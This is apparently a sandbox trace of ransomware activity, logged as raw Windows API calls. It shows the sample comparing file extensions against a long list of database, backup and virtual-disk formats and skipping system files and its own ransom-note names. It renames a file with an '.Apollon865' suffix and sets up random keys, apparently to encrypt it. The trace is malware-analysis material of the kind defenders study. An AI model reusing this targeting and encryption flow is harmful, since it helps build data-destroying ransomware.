	[0078.086] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.086] lstrlenW (lpString="adn") returned 3
	[0078.086] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.086] lstrlenW (lpString="adp") returned 3
	[0078.086] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.086] lstrlenW (lpString="alf") returned 3
	[0078.086] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.086] lstrlenW (lpString="ask") returned 3
	[0078.086] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.086] lstrlenW (lpString="btr") returned 3
	[0078.086] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.086] lstrlenW (lpString="cat") returned 3
	[0078.086] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.086] lstrlenW (lpString="cdb") returned 3
	[0078.086] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.086] lstrlenW (lpString="ckp") returned 3
	[0078.086] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.086] lstrlenW (lpString="cma") returned 3
	[0078.086] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.086] lstrlenW (lpString="cpd") returned 3
	[0078.086] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.086] lstrlenW (lpString="dacpac") returned 6
	[0078.086] lstrlenW (lpString="dad") returned 3
	[0078.087] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.087] lstrlenW (lpString="dadiagrams") returned 10
	[0078.087] lstrlenW (lpString="daschema") returned 8
	[0078.087] lstrlenW (lpString="db-journal") returned 10
	[0078.087] lstrlenW (lpString="db-shm") returned 6
	[0078.087] lstrlenW (lpString="db-wal") returned 6
	[0078.087] lstrlenW (lpString="dbc") returned 3
	[0078.087] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.087] lstrlenW (lpString="dbs") returned 3
	[0078.087] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.087] lstrlenW (lpString="dbt") returned 3
	[0078.087] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.087] lstrlenW (lpString="dbv") returned 3
	[0078.087] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.087] lstrlenW (lpString="dbx") returned 3
	[0078.087] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.087] lstrlenW (lpString="dcb") returned 3
	[0078.087] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.087] lstrlenW (lpString="dct") returned 3
	[0078.087] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.087] lstrlenW (lpString="dcx") returned 3
	[0078.087] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.087] lstrlenW (lpString="ddl") returned 3
	[0078.087] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.087] lstrlenW (lpString="dlis") returned 4
	[0078.087] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.087] lstrlenW (lpString="dp1") returned 3
	[0078.087] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.087] lstrlenW (lpString="dqy") returned 3
	[0078.087] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.087] lstrlenW (lpString="dsk") returned 3
	[0078.087] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.087] lstrlenW (lpString="dsn") returned 3
	[0078.087] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.087] lstrlenW (lpString="dtsx") returned 4
	[0078.087] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.087] lstrlenW (lpString="dxl") returned 3
	[0078.087] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.087] lstrlenW (lpString="eco") returned 3
	[0078.088] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.088] lstrlenW (lpString="ecx") returned 3
	[0078.088] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.088] lstrlenW (lpString="edb") returned 3
	[0078.088] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.088] lstrlenW (lpString="epim") returned 4
	[0078.088] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.088] lstrlenW (lpString="fcd") returned 3
	[0078.088] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.088] lstrlenW (lpString="fdb") returned 3
	[0078.088] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.088] lstrlenW (lpString="fic") returned 3
	[0078.088] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.088] lstrlenW (lpString="flexolibrary") returned 12
	[0078.088] lstrlenW (lpString="fm5") returned 3
	[0078.088] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.088] lstrlenW (lpString="fmp") returned 3
	[0078.088] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.088] lstrlenW (lpString="fmp12") returned 5
	[0078.088] lstrcmpiW (lpString1="x.hxn", lpString2="fmp12") returned 1
	[0078.088] lstrlenW (lpString="fmpsl") returned 5
	[0078.088] lstrcmpiW (lpString1="x.hxn", lpString2="fmpsl") returned 1
	[0078.088] lstrlenW (lpString="fol") returned 3
	[0078.088] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.088] lstrlenW (lpString="fp3") returned 3
	[0078.088] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.088] lstrlenW (lpString="fp4") returned 3
	[0078.088] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.088] lstrlenW (lpString="fp5") returned 3
	[0078.088] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.088] lstrlenW (lpString="fp7") returned 3
	[0078.088] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.088] lstrlenW (lpString="fpt") returned 3
	[0078.088] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.088] lstrlenW (lpString="frm") returned 3
	[0078.088] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.088] lstrlenW (lpString="gdb") returned 3
	[0078.088] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.088] lstrlenW (lpString="gdb") returned 3
	[0078.089] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.089] lstrlenW (lpString="grdb") returned 4
	[0078.089] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.089] lstrlenW (lpString="gwi") returned 3
	[0078.089] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.089] lstrlenW (lpString="hdb") returned 3
	[0078.089] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.089] lstrlenW (lpString="his") returned 3
	[0078.089] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.089] lstrlenW (lpString="ib") returned 2
	[0078.089] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.089] lstrlenW (lpString="idb") returned 3
	[0078.089] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.089] lstrlenW (lpString="ihx") returned 3
	[0078.089] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.089] lstrlenW (lpString="itdb") returned 4
	[0078.089] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.089] lstrlenW (lpString="itw") returned 3
	[0078.089] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.089] lstrlenW (lpString="jet") returned 3
	[0078.089] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.089] lstrlenW (lpString="jtx") returned 3
	[0078.089] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.089] lstrlenW (lpString="kdb") returned 3
	[0078.089] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.089] lstrlenW (lpString="kexi") returned 4
	[0078.089] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.089] lstrlenW (lpString="kexic") returned 5
	[0078.089] lstrcmpiW (lpString1="x.hxn", lpString2="kexic") returned 1
	[0078.089] lstrlenW (lpString="kexis") returned 5
	[0078.089] lstrcmpiW (lpString1="x.hxn", lpString2="kexis") returned 1
	[0078.089] lstrlenW (lpString="lgc") returned 3
	[0078.089] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.089] lstrlenW (lpString="lwx") returned 3
	[0078.089] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.089] lstrlenW (lpString="maf") returned 3
	[0078.089] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.090] lstrlenW (lpString="maq") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.090] lstrlenW (lpString="mar") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.090] lstrlenW (lpString="marshal") returned 7
	[0078.090] lstrlenW (lpString="mas") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.090] lstrlenW (lpString="mav") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.090] lstrlenW (lpString="maw") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.090] lstrlenW (lpString="mdbhtml") returned 7
	[0078.090] lstrlenW (lpString="mdn") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.090] lstrlenW (lpString="mdt") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.090] lstrlenW (lpString="mfd") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.090] lstrlenW (lpString="mpd") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.090] lstrlenW (lpString="mrg") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.090] lstrlenW (lpString="mud") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.090] lstrlenW (lpString="mwb") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.090] lstrlenW (lpString="myd") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.090] lstrlenW (lpString="ndf") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.090] lstrlenW (lpString="nnt") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.090] lstrlenW (lpString="nrmlib") returned 6
	[0078.090] lstrlenW (lpString="ns2") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.090] lstrlenW (lpString="ns3") returned 3
	[0078.090] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.090] lstrlenW (lpString="ns4") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.091] lstrlenW (lpString="nsf") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.091] lstrlenW (lpString="nv") returned 2
	[0078.091] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.091] lstrlenW (lpString="nv2") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.091] lstrlenW (lpString="nwdb") returned 4
	[0078.091] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.091] lstrlenW (lpString="nyf") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.091] lstrlenW (lpString="odb") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.091] lstrlenW (lpString="odb") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.091] lstrlenW (lpString="oqy") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.091] lstrlenW (lpString="ora") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.091] lstrlenW (lpString="orx") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.091] lstrlenW (lpString="owc") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.091] lstrlenW (lpString="p96") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.091] lstrlenW (lpString="p97") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.091] lstrlenW (lpString="pan") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.091] lstrlenW (lpString="pdb") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.091] lstrlenW (lpString="pdm") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.091] lstrlenW (lpString="pnz") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.091] lstrlenW (lpString="qry") returned 3
	[0078.091] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.091] lstrlenW (lpString="qvd") returned 3
	[0078.092] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.092] lstrlenW (lpString="rbf") returned 3
	[0078.092] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.092] lstrlenW (lpString="rctd") returned 4
	[0078.092] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.092] lstrlenW (lpString="rod") returned 3
	[0078.092] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.092] lstrlenW (lpString="rodx") returned 4
	[0078.092] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.092] lstrlenW (lpString="rpd") returned 3
	[0078.092] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.092] lstrlenW (lpString="rsd") returned 3
	[0078.092] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.092] lstrlenW (lpString="sas7bdat") returned 8
	[0078.092] lstrlenW (lpString="sbf") returned 3
	[0078.092] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.092] lstrlenW (lpString="scx") returned 3
	[0078.092] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.092] lstrlenW (lpString="sdb") returned 3
	[0078.092] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.092] lstrlenW (lpString="sdc") returned 3
	[0078.092] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.092] lstrlenW (lpString="sdf") returned 3
	[0078.092] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.092] lstrlenW (lpString="sis") returned 3
	[0078.092] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.092] lstrlenW (lpString="spq") returned 3
	[0078.092] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.092] lstrlenW (lpString="te") returned 2
	[0078.092] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.092] lstrlenW (lpString="teacher") returned 7
	[0078.092] lstrlenW (lpString="tmd") returned 3
	[0078.092] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.092] lstrlenW (lpString="tps") returned 3
	[0078.093] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.093] lstrlenW (lpString="trc") returned 3
	[0078.093] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.093] lstrlenW (lpString="trc") returned 3
	[0078.093] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.093] lstrlenW (lpString="trm") returned 3
	[0078.093] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.093] lstrlenW (lpString="udb") returned 3
	[0078.093] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.093] lstrlenW (lpString="udl") returned 3
	[0078.093] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.093] lstrlenW (lpString="usr") returned 3
	[0078.093] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.093] lstrlenW (lpString="v12") returned 3
	[0078.093] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.093] lstrlenW (lpString="vis") returned 3
	[0078.093] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.093] lstrlenW (lpString="vpd") returned 3
	[0078.093] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.093] lstrlenW (lpString="vvv") returned 3
	[0078.093] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.093] lstrlenW (lpString="wdb") returned 3
	[0078.093] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.093] lstrlenW (lpString="wmdb") returned 4
	[0078.093] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.093] lstrlenW (lpString="wrk") returned 3
	[0078.093] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.093] lstrlenW (lpString="xdb") returned 3
	[0078.093] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.093] lstrlenW (lpString="xld") returned 3
	[0078.093] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.094] lstrlenW (lpString="xmlff") returned 5
	[0078.094] lstrcmpiW (lpString1="x.hxn", lpString2="xmlff") returned -1
	[0078.094] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\Hx.hxn.Apollon865") returned 51
	[0078.094] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\Hx.hxn" (normalized: "c:\\users\\all users\\microsoft help\\hx.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\Hx.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\hx.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.095] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\Hx.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\hx.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.095] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=390) returned 1
	[0078.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0078.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfc50
	[0078.096] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0078.096] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.096] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0078.096] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x490, lpName=0x0) returned 0x118
	[0078.098] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x490) returned 0x120000
	[0078.099] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0078.100] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.100] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0078.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0078.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0078.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.100] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0078.101] CloseHandle (hObject=0x118) returned 1
	[0078.101] CloseHandle (hObject=0x15c) returned 1
	[0078.101] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.101] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfc50 | out: hHeap=0x580000) returned 1
	[0078.101] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0078.101] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa72fc10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa72fc10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.EXCEL.14.1033.hxn", cAlternateFileName="MSEXCE~1.HXN")) returned 1
	[0078.101] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.101] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.101] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".") returned 1
	[0078.101] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="..") returned 1
	[0078.101] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="windows") returned -1
	[0078.101] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.101] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="temp") returned -1
	[0078.101] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.101] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="boot") returned 1
	[0078.101] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.101] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.101] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.101] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.101] lstrlenW (lpString="MS.EXCEL.14.1033.hxn") returned 20
	[0078.101] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\Hx.hxn") returned 40
	[0078.101] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.EXCEL.14.1033.hxn" | out: lpString1="MS.EXCEL.14.1033.hxn") returned="MS.EXCEL.14.1033.hxn"
	[0078.101] lstrlenW (lpString="MS.EXCEL.14.1033.hxn") returned 20
	[0078.101] lstrlenW (lpString="Apollon865") returned 10
	[0078.102] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.102] lstrlenW (lpString=".dll") returned 4
	[0078.102] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".dll") returned 1
	[0078.102] lstrlenW (lpString=".lnk") returned 4
	[0078.102] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.102] lstrlenW (lpString=".ini") returned 4
	[0078.102] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".ini") returned 1
	[0078.102] lstrlenW (lpString=".sys") returned 4
	[0078.102] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".sys") returned 1
	[0078.102] lstrlenW (lpString="MS.EXCEL.14.1033.hxn") returned 20
	[0078.102] lstrlenW (lpString="bak") returned 3
	[0078.102] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.102] lstrlenW (lpString="ba_") returned 3
	[0078.102] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.102] lstrlenW (lpString="dbb") returned 3
	[0078.102] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.102] lstrlenW (lpString="vmdk") returned 4
	[0078.102] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.102] lstrlenW (lpString="rar") returned 3
	[0078.102] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.102] lstrlenW (lpString="zip") returned 3
	[0078.102] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.102] lstrlenW (lpString="tgz") returned 3
	[0078.102] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.102] lstrlenW (lpString="vbox") returned 4
	[0078.102] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.102] lstrlenW (lpString="vdi") returned 3
	[0078.102] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.102] lstrlenW (lpString="vhd") returned 3
	[0078.102] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.102] lstrlenW (lpString="vhdx") returned 4
	[0078.102] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.102] lstrlenW (lpString="avhd") returned 4
	[0078.102] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.102] lstrlenW (lpString="db") returned 2
	[0078.102] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.102] lstrlenW (lpString="db2") returned 3
	[0078.102] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.103] lstrlenW (lpString="db3") returned 3
	[0078.103] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.103] lstrlenW (lpString="dbf") returned 3
	[0078.103] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.103] lstrlenW (lpString="mdf") returned 3
	[0078.103] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.103] lstrlenW (lpString="mdb") returned 3
	[0078.103] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.103] lstrlenW (lpString="sql") returned 3
	[0078.103] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.103] lstrlenW (lpString="sqlite") returned 6
	[0078.103] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.103] lstrlenW (lpString="sqlite3") returned 7
	[0078.103] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.103] lstrlenW (lpString="sqlitedb") returned 8
	[0078.103] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.103] lstrlenW (lpString="xml") returned 3
	[0078.103] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.103] lstrlenW (lpString="$er") returned 3
	[0078.103] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.103] lstrlenW (lpString="4dd") returned 3
	[0078.103] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.103] lstrlenW (lpString="4dl") returned 3
	[0078.103] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.103] lstrlenW (lpString="^^^") returned 3
	[0078.103] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.103] lstrlenW (lpString="abs") returned 3
	[0078.103] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.103] lstrlenW (lpString="abx") returned 3
	[0078.103] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
